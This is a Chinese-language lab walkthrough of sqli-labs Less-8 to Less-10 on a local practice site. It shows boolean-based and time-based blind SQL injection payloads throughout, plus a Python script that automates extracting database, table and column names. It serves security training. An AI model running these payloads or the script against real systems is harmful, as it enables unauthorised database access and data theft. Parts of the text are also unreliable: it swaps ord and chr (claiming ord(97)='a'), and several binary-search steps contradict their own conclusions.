输入1,页面显示正常:
输入1’ and 1=1时显示正常:
输入1’ and 1=2时显示异常:
说明存在字符型的SQL盲注。
Less-8和Less-5的区别在于,Less-8对报错语句进行了注释,所以无法使用显错式注入,只能用盲注。
输入1' and length(database()) = 5 --+,显示异常 输入1' and length(database()) = 6 --+,显示异常 输入1' and length(database()) = 7 --+,显示异常 输入1' and length(database()) = 8 --+,显示正常 说明数据库名长度为8个字符。
下面采用二分法猜解数据库名:
输入1' and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值); 输入1' and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值); 输入1' and ascii(substr(database(),1,1))<109 #,显示不存在,说明数据库名的第一个字符的ascii值大于109(小写字母m的ascii值); 输入1' and ascii(substr(database(),1,1))<115 #,显示不存在,说明数据库名的第一个字符的ascii值不小于115(小写字母s的ascii值); 输入1' and ascii(substr(database(),1,1))>115 #,显示不存在,说明数据库名的第一个字符的ascii值不大于115(小写字母s的ascii值); 所以数据库名的第一个字符的ascii值为115,即小写字母s。这样逐步猜解可得到数据库名为security。
说明数据库security中有4张表。
输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=4 --+,显示异常 输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=5 --+,显示异常 输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=6 --+,显示正常说明数据库security中第一张表名长度为6个字符。
说明users表中有14个字段。 接着挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1), 1)) = 7 --+,显示存在 说明users表第一个字段名长度为7个字符。 1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1), 1, 1))>97 --+,显示存在 ... 依次获取字段名。同样采用二分法。
强行破解步骤复杂,可以写python脚本解放双手,这里用到字符与ascii码互转的函数: ord(97) = 'a' chr('a') = 97 逐个破解字符后,将列表中所有字符拼接可以用join()函数:
Li = ['s','a','m'] a = ''.join(Li) print(a) >> sam我尝试写了python脚本,部分脚本如下:
#!/usr/bin/python # -*- coding:utf-8 -*- import requests # 查询数据库信息 def db_name(): li = [] # 破解数据库名长度 for i in range(1, 15): headers = {'Connection': 'close'} url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())={} --+".format(i) req = requests.get(url, headers=headers) if "You are in..........." in req.text: db_length = i break print ("数据库名长度为{}".format(db_length)) # 破解数据库名 for i in range(1, db_length+1): for j in range(32, 126): headers = {'Connection': 'close'} url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),{},1))={} --+".format(i, j) req = requests.get(url, headers=headers) if "You are in..........." in req.text: li.append(chr(j)) continue return ''.join(li) # 查询数据库各表信息 def tb_name(): table = [] tb = [] table_length = [] # 破解数据库中几张表 for i in range(1, 20): headers = {'Connection': 'close'} url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())={} --+".format(i) req = requests.get(url, headers=headers) if "You are in..........." in req.text: table_num = i break # 破解数据库中各表的长度 for i in range(table_num): for j in range(1, 20): headers = {'Connection': 'close'} url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit {},1),1))={} --+".format(i, j) req = requests.get(url, headers=headers) if "You are in..........." in req.text: table_length.append(j) break # 破解数据库各表名 for i in range(table_num): for j in range(1, table_length[i]+1): for k in range(32, 126): headers = {'Connection': 'close'} url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit {},1),{},1))={} --+".format(i, j, k) req = requests.get(url, headers=headers) if "You are in..........." in req.text: tb.append(chr(k)) break table.append(''.join(tb)) while table_length[i] > 0: tb.pop(-1) table_length[i] -= 1 continue return table_num, table def column_name(table_name): column = [] co = [] # 猜解表中有几个字段 for i in range(1, 20): headers = {'Connection': 'close'} url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (SELECT count(column_name) FROM information_schema.columns WHERE table_name='{}')={} --+".format(table_name, i) req = requests.get(url, headers=headers) if "You are in..........." in req.text: column_length = i break # 猜解各字段名长度 for i in range(column_length): for j in range(1, 20): headers = {'Connection': 'close'} url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(substr((SELECT column_name FROM information_schema.columns WHERE table_name='{}' limit {},1),1))={} --+".format(table_name, i, j) req = requests.get(url, headers=headers) if "You are in..........." in req.text: column_name_length = j break print ("{}表第{}个字段名长度为{}".format(table_name, i+1, column_name_length)) for k in range(1, column_name_length+1): for l in range(32, 126): headers = {'Connection': 'close'} url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='{}' limit {},1),{},1))={} --+".format(table_name, i, k, l) req = requests.get(url, headers=headers) if "You are in..........." in req.text: co.append(chr(l)) break column.append(''.join(co)) while column_name_length > 0: co.pop(-1) column_name_length -= 1 print("{}表中字段名为{}".format(table_name, column)) return column_length if __name__ == '__main__': print("数据库名为{}".format(db_name())) tb = tb_name() table_num = tb[0] table = tb[1] print("数据库中共有{}张表".format(table_num)) print("各表名分别为{}".format(table)) print("----------------------------------------") for i in table: print("{}表有{}个字段".format(i, column_name(i))) print("----------------------------------------")执行结果:
判断是否存在注入,是字符型还是数字型:
输入1、1'、1"发现页面都能正常返回,所以采用基于时间的盲注。 输入1 and sleep(5) --+,页面响应无延迟 输入1' and sleep(5) --+,页面响应有大概5s延迟说明存在字符型的基于时间的盲注。
猜解数据库长度及名称:
输入1' and if(length(database())=5,sleep(5),1) --+,没有延迟 输入1' and if(length(database())=6,sleep(5),1) --+,没有延迟 输入1' and if(length(database())=7,sleep(5),1) --+,没有延迟 输入1' and if(length(database())=8,sleep(5),1) --+,有5s延迟说明数据库名长度为8。
利用二分法猜解数据库名:
输入1' and if(ascii(substr(database(),1,1))>97, sleep(5),1) --+,有延迟,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值); 输入1' and if(ascii(substr(database(),1,1))<122, sleep(5),1) --+,有延迟,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值); 输入1' and if(ascii(substr(database(),1,1))>109, sleep(5),1) --+,有延迟,说明数据库名的第一个字符的ascii值大于109; 输入1' and if(ascii(substr(database(),1,1))>115, sleep(5),1) --+,没有延迟,说明数据库名的第一个字符的ascii值大于115; 输入1' and if(ascii(substr(database(),1,1))<115, sleep(5),1) --+,没有延迟,说明数据库名的第一个字符的ascii值小于115,说明第一个字符即115对应字符s。 ...后续字符也按此方法依次猜解,不再赘述。
判断是否存在注入,是字符型还是数字型: 输入1、1’、1"发现页面都能正常返回,所以采用基于时间的盲注。
输入1 and sleep(5) --+,页面响应无延迟 输入1' and sleep(5) --+,页面响应无延迟 输入1" and sleep(5) --+,页面响应有大概5s延迟说明存在字符型的基于时间的盲注。 后续步骤同Less-9,只不过单引号改为双引号,不再重复。
